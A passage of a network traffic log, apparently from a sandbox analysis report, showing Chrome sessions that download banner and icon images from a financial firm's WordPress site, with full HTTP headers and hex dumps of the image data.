2024-04-11 20:34:56 UTC	1378	IN	Data Raw: db 26 91 03 bd 44 95 9b 1d f9 79 64 a1 2a 00 00 68 02 83 0a 00 00 75 31 27 72 44 64 ba 2a 7a e2 ab 91 97 f7 e9 db 96 ef 52 79 43 64 07 2f 53 e5 be 1b 99 a9 06 00 00 9a c0 a0 02 00 40 5d fc 26 72 9a 1a 7a e2 80 c8 bf f4 f9 db b8 55 e4 3d 5e aa ca fd 39 72 a1 1a 00 00 68 02 83 0a 00 00 75 f0 44 e4 d3 a9 38 43 85 ee 7a 5d e4 a0 01 f8 dc 62 54 64 9f c8 0b bc 64 95 3b 26 b2 48 0d 00 00 d4 9d 41 05 00 80 3a c8 e7 a6 5c a3 86 ae cb 8f d0 3a 34 32 65 40 de de a7 45 de e4 65 ab dc 79 91 db d5 00 00 40 dd 19 54 00 00 18 74 7f 4e c5 f9 1d 74 d7 a4 c8 c1 69 b0 ee f8 c8 77 a9 bc 31 b2 93 97 af 52 f9 70 fa 13 d4 00 00 40 dd 19 54 00 00 18 74 9f 8b 3c a4 86 ae ca 87 bc 7f 22 f2 e6 01 7c db 9f 99 8a c7 94 f9 5c a8 5a a7 46 e6 a9 01 00 80 3a f3 49 04 00 00 83 2c 3f 6a e8 Data Ascii: &Dydhu1'rDdzRyCd/S@]&rzU=^9rhuD8Cz]bTdd;&HA:\:42e@Eey@TtNtiw1Rp@Tt<"\|\ZF:I,?j
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 6e 15 54 e2 d1 e4 1c 15 00 00 06 94 41 05 00 80 5e ca 67 a7 dc aa 86 8e fa 70 64 17 35 b4 ed 05 c9 e1 f4 55 58 10 f9 4d 4d df b7 b1 5e 5e 00 80 7a 33 a8 00 00 d0 2b f9 0b ab 5f 55 43 47 3d 23 f2 11 35 54 22 9f a1 f2 16 35 b4 65 52 64 cf 54 3c 3e 6d 51 cd de b7 39 91 8b bc c4 00 00 f5 b6 b6 0a 00 00 e8 91 b3 23 d7 ab a1 a3 0e 4d c5 f9 1f b4 6f 74 64 9f b2 53 56 6d 54 99 cd 22 2f 29 b3 73 64 db c8 f8 c8 c4 54 8f 6f ee cb a3 d0 0d 91 e3 22 67 45 1e f0 d2 03 00 d4 9b 41 05 00 80 5e c8 5f 88 3c 22 b2 50 15 1d f3 86 c8 ab d4 50 a9 ad 23 2f 8f 5c a0 8a ff 93 87 a6 71 a9 78 dc d5 e6 a9 18 4f 76 2b f3 d4 f2 df e7 cf 3b 47 d5 e4 fd 9d 9f 8a b3 9f ce 8b 7c 33 72 69 64 6e 64 b1 0f 05 00 80 fa 33 a8 00 00 d0 0b ff 1d b9 52 0d 1d 93 ef 00 f8 58 64 03 55 54 6a 6a 2a 86 Data Ascii: nTA^gpd5UXMM^^z3+_UCG=#5T"5eRdT<>mQ9#MotdSVmT"/)sdTo"gEA^_<"PP#/\qxOv+;G\|3ridnd3RXdUTjj*
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 02 00 40 27 1c 9f 8c 29 9d f0 b7 91 97 55 78 bd 7c ce cd 61 69 f9 31 25 bb b7 cc 2f 86 fd da 06 a9 18 56 76 88 3c a3 cc c6 91 c9 65 d6 8b ac eb 65 1a 28 8b ca 3f ab 43 79 bc 7c dd 6f 29 73 6b 99 99 aa 02 00 a0 e9 0c 2a 00 00 54 6d 6e e4 24 35 54 6e fd c8 3b 22 13 2a bc 66 7e 2c db 0d 6b f0 df e7 c3 c4 2f 49 cb 9f 8d b3 79 2a 1e 17 b6 75 f9 e3 53 22 53 ca 6c 58 26 8f 31 e3 bd 8c 3d f3 64 5a 72 18 fc d0 8f f9 c0 f8 3f 47 ee 8a dc 59 fe 38 5d 55 00 00 b0 62 06 15 00 00 aa 76 4e e4 0e 35 54 6e 9f c8 ee 15 5e 2f 1f 42 9f 07 95 b9 15 5d 2b e7 a2 65 7e 3d 0f 2a 9b 45 36 29 7f cc c3 cb 46 e5 af 4f 2d 33 65 58 18 b9 fc 3a 3e 9c 8a a1 64 e8 c7 fc 98 ae 07 53 f1 08 be e1 c9 67 9f cc 50 19 00 00 ac 19 83 0a 00 00 55 3b 2e 15 07 56 53 9d 3c 42 bc bb e2 bf bf e7 31 e5 Data Ascii: @')Ux\|ai1%/Vv<ee(?Cy\|o)skTmn$5Tn;"f~,k/IyuS"SlX&1=dZr?GY8]UbvN5Tn^/B]+e~=E6)FO-3eX:>dSgPU;.VS<B1
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 91 eb d5 50 89 7c 18 fd 4b 2a bc de b1 a9 38 94 1e 00 00 80 0e 33 a8 00 00 d0 ca e5 c9 f9 29 55 f9 fb c8 a6 15 5d eb cf 91 f3 54 0a 00 00 d0 1d 06 15 00 00 5a b9 22 f2 a4 1a da 36 36 f2 ea c8 b8 8a ae 77 4c 64 a6 5a 01 00 00 ba c3 a0 02 00 c0 aa 4c 4f c5 1d 2a b4 6f b7 c8 73 2a ba 56 1e b8 7e 9e 8a 43 e9 01 00 00 e8 02 83 0a 00 00 ab 72 53 32 a8 54 65 bf c8 46 15 5d eb 97 a9 78 e4 17 00 00 00 5d 62 50 01 00 60 55 6e 8c 3c a1 86 b6 6d 99 8a 3b 54 aa f2 93 e4 71 5f 00 00 00 5d 65 50 01 00 60 65 f2 90 f2 7b 35 54 e2 15 91 e7 56 74 ad 9b 23 d7 a8 14 00 00 a0 bb 0c 2a 00 00 ac cc 5f 22 97 a8 a1 6d a3 22 bb 47 c6 54 74 bd 7c 76 ca ed 6a 05 00 00 e8 2e 83 0a 00 00 2b 73 47 e4 4e 35 b4 6d c7 c8 cb 2a ba d6 9c c8 05 91 45 6a 05 00 00 e8 2e 83 0a 00 00 2b 32 3f 72 Data Ascii: P\|K83)U]TZ"66wLdZLOosV~CrS2TeF]x]bP`Un<m;Tq_]eP`e{5TVt#_"m"GTt\|vj.+sGN5m*Ej.+2?r
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: b9 7a 00 00 e8 17 06 15 00 80 e6 ca 5f 84 f7 08 a9 91 cb df 39 bf 6b 0f 7e df f1 a9 18 72 86 c6 9c 7c ce ca dd 91 bf a4 62 54 19 ba f3 28 8f 2d f9 91 6e d3 bd 54 f4 91 7c 40 fc f6 65 f2 a3 bb f2 78 f2 d4 61 99 a0 22 00 00 fa 95 41 05 00 a0 99 66 47 6e 51 43 5b f2 a0 b2 63 1f bc 1d a3 22 5b 95 d9 ad fc b5 7c 17 cb f4 61 b9 2d 72 63 f9 9a e7 91 e5 7e 2f 1f 5d 90 0f 8d cf 77 99 3c b3 4c 3e 73 68 93 32 f9 ce ab 0d 54 04 00 c0 20 31 a8 00 00 34 53 3e e4 fc 46 35 b4 65 a7 54 3c f6 ab 1f e5 bb 58 86 be e3 7f 48 3e 6f e5 f1 c8 93 65 ee 2a 3f 06 f2 e3 c3 6e 4e c5 1d 2d 73 bc ac 8c d0 d0 63 ba 9e 95 8a a1 31 9f 7b 92 07 93 c9 91 f5 52 31 ae 00 00 c0 40 33 a8 00 00 34 d3 43 c9 1d 2a ed 98 94 7a f3 b8 af 76 4c 2c b3 59 f9 cf 2f 8c ec 9b 8a 11 25 67 6e 2a ee 5c b9 3e Data Ascii: z_9k~r\|bT(-nT\|@exa"AfGnQC[c"[\|a-rc~/]w<L>sh2T 14S>F5eT<XH>oe?nN-sc1{R1@34CzvL,Y/%gn*\>
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 47 36 51 03 d0 42 3e 90 fe 6e 35 00 00 d4 9b 41 05 00 00 56 2e 0f 2a 93 d5 00 b4 30 2b 72 87 1a 00 00 ea cd a0 02 00 00 2b 97 0f a4 1f a5 06 a0 05 83 0a 00 40 03 18 54 00 00 60 e5 36 53 01 b0 1a ee 8c cc 57 03 00 40 bd 19 54 00 00 60 c5 d6 4b c5 1d 2a 00 ab b2 20 f2 7b 35 00 00 d4 9f 41 05 00 00 56 6c 6a 72 87 0a d0 5a 3e 90 fe 62 35 00 00 d4 9f 41 05 00 00 56 cc a0 02 ac 8e 27 22 17 a9 01 00 a0 fe 0c 2a 00 00 b0 62 53 22 9b a8 01 68 e1 c2 c8 5c 35 00 00 d4 9f 41 05 00 00 56 6c a3 c8 38 35 00 2d fc 48 05 00 00 cd 60 50 01 00 80 15 f3 b8 2f a0 95 fb 23 e7 ab 01 00 a0 19 0c 2a 00 00 b0 bc d1 91 cd d5 00 b4 90 ef 4e 99 a1 06 00 80 66 30 a8 00 00 c0 f2 26 45 36 55 03 b0 0a 0b 23 c7 ab 01 00 a0 39 0c 2a 00 00 b0 bc 75 93 47 7e 01 ab 76 7a e4 36 35 00 00 34 87 Data Ascii: G6QB>n5AV.0+r+@T`6SW@T`K {5AVljrZ>b5AV'"bS"h\5AVl85-H`P/#Nf0&E6U#9*uG~vz654

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49768	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:56 UTC	622	OUT	GET /wp-content/uploads/2017/05/banner.jpg HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:56 UTC	717	IN	HTTP/1.1 200 OK Connection: close Content-Length: 190746 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/jpeg x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "59a7a3b1-2e91a" last-modified: Thu, 31 Aug 2017 05:50:41 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:56 GMT X-Served-By: cache-ewr18183-EWR, cache-ewr18151-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867696.313056,VS0,VE140 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0b 0b 09 0c 11 0f 12 12 11 0f 11 11 13 16 1c 17 13 14 1a 15 11 11 18 21 18 1a 1d 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c2 00 11 08 03 3a 06 40 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 ff c4 00 1a 01 01 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 f9 d1 61 db 35 96 11 Data Ascii: JFIFC!"$"$C:@"a5
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 00 01 00 14 01 00 02 60 21 a0 1a 00 00 00 00 00 10 d0 0c 10 d0 00 00 00 10 01 40 10 00 09 94 86 08 00 00 00 00 00 08 00 00 04 30 43 04 0c 40 c4 00 00 75 06 76 c2 00 00 10 c1 0c 10 c1 29 21 0c 10 c1 0c 22 30 43 04 32 10 d0 0d 02 60 86 02 60 86 94 00 13 04 30 43 04 a4 11 19 08 60 86 08 00 00 43 04 30 43 04 32 10 c1 29 14 93 21 0c 10 c5 41 22 03 04 30 43 04 00 86 08 60 86 80 1c 24 c1 0d 50 01 38 96 63 51 e8 e1 d5 cb ae 8e 4f 4b 9b 29 19 2e fc 14 64 a9 e8 ce 66 91 d7 90 43 35 94 34 a0 00 00 00 09 88 86 e5 44 a3 cf a2 24 24 55 81 5b 6e c8 13 08 0d 6f 20 00 00 00 00 00 00 00 86 08 18 80 00 00 01 0c 10 d0 00 00 00 10 00 00 08 65 21 90 86 52 1a 80 00 00 00 00 00 00 00 04 c0 03 aa 33 b6 10 00 00 26 08 60 86 09 30 43 21 0c a4 30 89 25 08 60 86 11 6c 22 30 43 04 30 Data Ascii: `!@0C@uv)!"0C2``0C`C0C2)!A"0C`$P8cQOK).dfC54D$$U[no e!R3&`0C!0%`l"0C0
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 75 35 da e2 5f 9f 36 ef 45 e6 bb 31 7f 2b 5f 35 71 30 eb 99 c2 fa 3a 73 43 3a 73 43 04 00 00 00 08 60 86 08 18 80 04 c1 0c 10 d0 00 00 02 60 26 08 60 81 88 05 43 11 0c 10 c5 43 04 00 00 00 00 00 00 26 22 18 7a 12 46 b3 15 21 50 c9 22 48 a8 92 16 23 12 24 82 23 04 30 43 08 8c 10 c1 29 04 49 04 49 21 0c 22 48 22 a4 11 24 2c 49 22 24 82 23 04 a4 11 24 11 52 08 92 08 8c 22 49 08 60 86 11 24 84 30 aa 4b 1f 9f be b9 64 9f 3e 97 64 b6 a3 65 d8 21 9d 5b 11 6b 33 74 4c d3 6d 76 7a 3c f3 a2 ea b3 a8 8c eb c9 00 00 08 6c 89 20 51 9a 58 96 59 19 8d f9 25 82 92 b2 2c 64 65 19 cb 1b 6a b5 7b 7e 7b d1 79 ef 37 a9 35 ab b7 0c 73 8c ba 73 ad b1 21 24 52 db 92 dc 6e 85 a7 3d 88 66 b2 93 04 c2 36 e2 1f 9f b5 9d 9e 0b cd a3 a9 ca 76 e8 31 17 32 71 96 a3 ba b8 66 fa af 31 5d Data Ascii: u5_6E1+_5q0:sC:sC``&`CC&"zF!P"H#$#0C)II!"H"$,I"$#$R"I`$0Kd>de![k3tLmvz<l QXY%,dej{~{y75ss!$Rn=f6v12qf1]
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 0e 0d 77 2f 27 a9 4b 7f 47 cb ec e1 63 f6 58 64 f3 77 df 83 d1 e7 9e 3d 19 fa 60 5a 73 76 e2 01 d3 98 00 98 13 8c a5 e6 f4 45 eb b3 3a e7 e5 dd 83 a6 2d b6 16 cd 7b 2f 19 ec bc 77 9b ad 32 8c fd 3c 60 5d 49 29 11 95 24 f5 10 1d fc e0 00 00 26 08 60 86 08 00 00 00 3d 80 ce 5b 43 04 30 89 20 89 20 88 d9 02 42 44 90 45 1e 6e 6b d0 3f 2f 55 7a 7b 7c 8d b6 77 b7 f9 dc 79 e9 eb 4a 34 eb 94 49 21 29 15 12 49 10 c2 24 90 94 82 24 90 86 11 24 84 32 a2 49 09 48 22 30 4a 41 11 84 49 04 54 84 88 c5 88 c4 c9 8f 6e 2e 5d e4 a4 63 6a 9b e8 2c 8c 94 b1 69 6b 33 2a b2 5e 8b 67 a3 cd a6 8d 39 79 76 81 25 db 82 8c ef c6 f1 af 5b cd f3 f7 cb 0f 57 54 9e 52 cb ab ce ae 95 7b 23 89 4f a5 a1 78 b4 f6 73 1c fb cd 3b 94 7d 23 e7 5f 41 e3 ca 1f 2f fa 87 cb f1 db d1 68 f2 32 f4 3d Data Ascii: w/'KGcXdw=`ZsvE:-{/w2<`]I)$&`=[C0 BDEnk?/Uz{\|wyJ4I!)I$$$2IH"0JAITn.]cj,ik3*^g9yv%[WTR{#Oxs;}#_A/h2=
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 13 d2 a9 53 3d c8 a8 3d 20 e7 1b 9f 5b c9 eb 61 f3 f7 c7 87 a3 cf f4 79 21 56 cc d6 64 37 e5 d6 65 63 d3 9d e0 86 ab 93 99 a0 be b3 ef 85 7c fa 74 f0 f4 f0 e3 a5 70 be 9d 62 16 d3 66 b3 62 8b 4c 62 b2 dc a5 c6 b3 57 a2 e5 e7 c6 ea 8d d2 de 29 b9 39 ab 27 5c b1 d0 d3 83 6c 61 76 c3 79 8c d4 ca ad ae d3 a1 55 06 16 cb 9d 7e b3 be aa 32 e6 ef 58 ee 4d 0a 5c 96 7b fd df 17 d8 e3 9d 1c fb 79 1d 1a a9 55 f6 27 5b dc bd 42 c5 85 17 42 57 a7 2e ec 6f d7 79 7d da 3c fb e3 66 f5 9c 5e d9 e7 65 ef 72 b7 31 b4 f5 1e 9c d7 4b e8 67 ab 9d c6 4b b5 e7 a8 af 5b c0 e7 75 26 ba b8 f9 38 2d f4 7a f8 9a f8 da fa 3d af 2f 5a a1 d8 b7 37 cf d7 d8 be 6b cf cf b7 49 e1 2c b7 27 b3 89 ee 3c 3f b9 e5 d5 81 e7 ea 00 00 01 9e 8d 67 73 e5 f1 b5 9f 57 2f 21 a7 53 bb c4 d7 44 b9 1f 4e Data Ascii: S== [ay!Vd7ec\|tpbfbLbW)9'\lavyU~2XM\{yU'[BBW.oy}<f^er1KgK[u&8-z=/Z7kI,'<?gsW/!SDN
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: af 7f 73 53 ca e9 eb 46 5e 5c fd 2f 14 e7 c3 d0 72 28 cb db b2 3c 4c af b7 bf 3c b0 f4 9a 13 cb df e9 8c 6b cb 47 da 64 af 39 57 a6 dd 2f 8f 7d 0c fc fa 66 cd d8 d1 79 f2 a3 d8 c6 71 af d2 fa 66 8a fd 2d 53 7e 7b 74 a5 2e 52 89 6a 6a c3 aa 99 20 ad b7 73 2c e7 0c 9c 34 d9 9d e2 9c a1 be 73 47 42 6a 3c ff 00 41 c8 c6 a1 18 cf a7 37 2a e5 9b af d1 79 8d 5e 7e bb 70 4b 9d 6e ba a8 bf 73 5e fe 46 ce 5d 3b b9 79 1a 32 df c8 a7 46 e4 0d 19 a1 74 70 5c 74 38 36 d3 ac aa e7 5f 5c 4e ab 73 d9 a3 d1 f9 69 4b da c9 8b 46 36 51 75 36 74 33 6d c5 8d dd 38 b4 74 2b 94 d7 a3 23 16 e6 eb 73 26 d6 4d 39 35 ce ce a7 09 ea 76 32 e6 51 a2 94 88 42 66 a4 a1 af 24 a8 ea 63 97 1d fd 1b 73 ae 4e da ad ab ab ee f2 75 cf 95 a8 a1 4d 58 dc be e7 9d bf 93 e7 bc 8e 6f 4b 9f e9 cd 4b Data Ascii: sSF^\/r(<L<kGd9W/}fyqf-S~{t.Rjj s,4sGBj<A7*y^~pKns^F];y2Ftp\t86_\NsiKF6Qu6t3m8t+#s&M95v2QBf$csNuMXoKK
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 47 4b 97 b2 78 b4 d9 56 8c ea b8 47 65 67 8c 75 26 8c 1d 8e 3e 75 4b b3 4e b3 c7 5a f1 f6 e3 d2 f6 3e 2f 52 fa 3e b7 84 38 de fe 0e 6c 17 d0 f9 fa d6 b5 0a ee 35 8d 5a b9 4b 1a ec f3 f3 c3 52 da 65 0d 49 b7 3c e9 57 a0 2c bf 94 eb dc 79 9e 5e 9c d8 f7 b8 b0 5f 49 8f cf 29 9f 55 9b ce 16 74 61 9e c3 d5 6b f0 db 71 7d 8b f2 35 cb bf 9f 54 2d ee 5b e6 ed d6 7d 26 8f 2d 64 6a c2 4e d9 59 5e a8 ee d9 cb 84 ce 1b 0a ed f4 bd 0f 21 b2 4f 53 6f 95 b7 59 d9 cb aa ae 1d ba 17 73 34 f5 c7 7e 88 dd ac f2 b3 d5 cd e3 db d3 f2 2d ae da f1 7b 2e 4e 5c 0c bd 5e 77 7e 5e 93 27 16 d6 5f 67 cb 2d 4f 49 57 0e 53 5d 5d fe 7a 32 f7 3b 1e 4a de 7b d9 b7 81 9b 79 f4 5c be 7c 6d eb e4 c0 27 a6 e7 f3 75 63 7e 9b 57 8c 71 ee 3c 54 2a b9 f4 7a 70 ec e5 de 1a 34 f2 77 ca 7e 72 fc 3a Data Ascii: GKxVGegu&>uKNZ>/R>8l5ZKReI<W,y^_I)Utakq}5T-[}&-djNY^!OSoYs4~-{.N\^w~^'_g-OIWS]]z2;J{y\\|m'uc~Wq<T*zp4w~r:
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: ba b1 ba ba 1c c9 ea 74 32 69 a3 3b 84 e8 57 3b 29 34 1c e7 7c 99 95 fd 6e d6 35 e5 2d ec df 8a 59 87 04 96 f2 ba bc fd 6b b1 c2 d9 56 10 cf aa 3b c7 03 d6 f9 3e ef 5e 7d 0a ea a7 87 6e 0a c4 be 87 9b b1 58 b9 f5 75 95 b3 64 51 a9 b6 ec 4f 9d da 72 54 de 8d 29 db a2 79 72 dc 59 1a 63 ac c8 c6 f5 3b 13 e3 f5 b9 f6 e9 63 c1 2e 7a 1d 2b a7 2e 8d d9 ee cd cd 5e 69 ef 32 2a 8e b3 a9 56 8d b4 59 9e 5e c6 ac 79 f9 74 d7 9e 39 cc f0 a1 74 9d 0a a8 b6 5d 5b 38 d7 cb e8 f3 53 9b 9f 5f 4b ce a3 8f 79 f6 25 c4 ef 67 56 ad d5 63 5b f4 ad 6e 7e 7f 3f 43 27 b7 58 2d 81 e3 df a7 e6 ae 74 e7 92 11 af b4 e8 5d 86 ce 5d 3b 11 c6 b1 79 d1 8d 7d b9 ec f4 9e 5f a7 27 a3 cd 8e ac ce 5c 63 a7 6f 43 96 15 f9 fd 13 e3 75 78 bd 39 75 79 7a 71 f5 e7 ea e8 ae 3c 3a 57 75 33 cd 59 7d Data Ascii: t2i;W;)4\|n5-YkV;>^}nXudQOrT)yrYc;c.z+.^i2*VY^yt9t][8S_Ky%gVc[n~?C'X-t]];y}_'\coCux9uyzq<:Wu3Y}
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: e6 1e c3 9b db be 4f 4f af 3a b9 1d 5e 07 87 d5 4e fe 37 a2 9e 8c f8 f6 64 cb 87 1a b4 76 f3 f4 34 c6 de 1d ab 6a d9 28 a6 fa b7 8a 2a d1 9f 52 a8 4e 1a 55 09 c3 58 53 83 d6 5d 95 d8 b8 e3 6a d7 7a 6a d2 8a a3 64 4a e4 2b 97 96 e9 6b 34 dd 43 b2 d8 d7 6c 4c 84 a6 85 40 5f a7 9c cd d0 c9 24 a6 ea 0e bc 76 5b 9b 4e 37 9a 37 3d 4c 70 e9 5b 73 72 9b e7 d3 34 36 46 6b 9f 1d d0 6b 95 ab 3e fd f0 27 64 79 fa 66 d1 9d 65 cd 6f 37 b7 9b 5a cc f5 cf 47 63 83 d2 e7 df 6d 37 f5 78 f4 f3 5a f0 5b db cf d0 e3 eb c7 ab d4 31 c2 3a 0b 9d af 1d ac c1 d0 61 46 ba 53 1d 7d 49 6b 9f 22 5d 66 d7 1a 8e fa 97 85 2e e1 65 78 3a d9 b3 ab 26 b9 92 f4 3b 5c 2e cf 24 b4 4f 27 1e ba ab f2 5b fa 63 a1 92 b8 f5 9d 1d 9c 4e ce 77 53 b7 9b 35 a2 ea 22 de 2a fa 12 cf 3e 4e 9a b4 f5 c6 59 Data Ascii: OO:^N7dv4j(RNUXS]jzjdJ+k4ClL@_$v[N77=Lp[sr46Fkk>'dyfeo7ZGcm7xZ[1:aFS}Ik"]f.ex:&;\.$O'[cNwS5">NY
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: de 70 82 b2 a7 4a 46 ba 74 42 5e af 1b 57 2a f3 e9 df c5 b1 7b fc fd b0 e7 df 15 92 d1 66 6a e5 2d f9 f0 6a 2d d6 36 63 d3 ce cd a4 a2 3b c6 a8 2a d7 76 4d b9 26 a4 17 0a 78 ba 79 eb 46 2e 96 02 b7 6d 8c 65 3a 37 e3 5c 8f 41 5d f9 d7 03 27 60 de 38 d2 ea 53 bc 6b d1 9d e7 5c 6e df 07 b3 d3 38 7b 1c 4e ae 63 e1 76 25 67 9e af d4 47 57 cf 3e f5 52 f3 4e 84 25 cc 5c d7 97 57 5a 5b e5 cb ec 58 63 5b 34 e6 9f 0f 74 bc ff 00 7f 0f 4f 3f 9f ea b3 a7 0c 3a a7 32 35 df 2c d8 d2 e8 b0 b3 3d b6 ab f2 dc 6c cd a2 8c b3 49 d8 d2 d5 1b ae b6 4a b9 7d 7f 1d 22 87 bb c5 75 12 8f 5f 36 7b 20 bc 3e c4 a6 33 15 33 af 28 4a 52 e9 14 d1 f2 3e 9f 3f 2e ec 7e 6d 40 16 b0 9a 0b bb fc 1e 9f 1e 9d db f8 d7 f2 eb a7 9d 2c 93 4a fc 96 e9 a9 67 8e 6d d2 cb 3b cb 75 d8 ad c6 f5 cf 1c Data Ascii: pJFtB^W{fj-j-6c;vM&xyF.me:7\A]'`8Sk\n8{Ncv%gGW>RN%\WZ[Xc[4tO?:25,=lIJ}"u_6{ >33(JR>?.~m@,Jgm;u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49769	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:56 UTC	633	OUT	GET /wp-content/themes/x-child/images/facebook-28.png HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:56 UTC	711	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1836 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/png x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "5a9524d9-72c" last-modified: Tue, 27 Feb 2018 09:28:57 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:56 GMT X-Served-By: cache-lga21967-LGA, cache-lga21954-LGA X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867696.363543,VS0,VE48 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1c 00 00 00 1c 08 06 00 00 00 72 0d df 94 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDRrtEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-04-11 20:34:56 UTC	458	IN	Data Raw: 05 23 71 ea c3 d2 6e 39 72 c7 ba 57 90 c7 cb 6a 2b b8 40 77 0b 96 44 c2 44 ae a1 ae d5 cf a1 7c af 96 36 e6 2b 2f b4 6a 5d 3c 66 50 20 18 a5 8a d2 02 27 31 2b be d4 2c c9 9f 5e 8a 38 af f0 d7 f3 73 30 6b 6e 32 ef bf fa 29 1c 31 ac d4 71 31 4d 41 b7 30 9d f2 2f 69 d1 70 9c 1a 96 54 d3 8d 93 eb 53 f7 0e b7 77 d3 fd ee 8f e4 a9 2c a6 a1 40 c8 aa 42 2e 26 54 d9 62 1c 83 46 43 74 f6 fc 18 18 ab 26 e3 ec 73 ef 00 bd 7b fb 83 fc fd 41 ec 9d 27 97 e2 6e 25 fe b0 e3 27 61 cd 38 fa ca e0 c5 74 90 56 a1 a7 14 92 8e 74 28 2f c9 27 23 61 e6 22 18 54 65 f3 74 35 01 d1 cc b0 b7 92 1c 42 a6 10 b9 b6 af 6f 2c 78 9d fe 9f dd 56 65 37 8f 4d ea 71 65 42 b3 39 56 ce aa 32 b2 2f 4e 46 4f d7 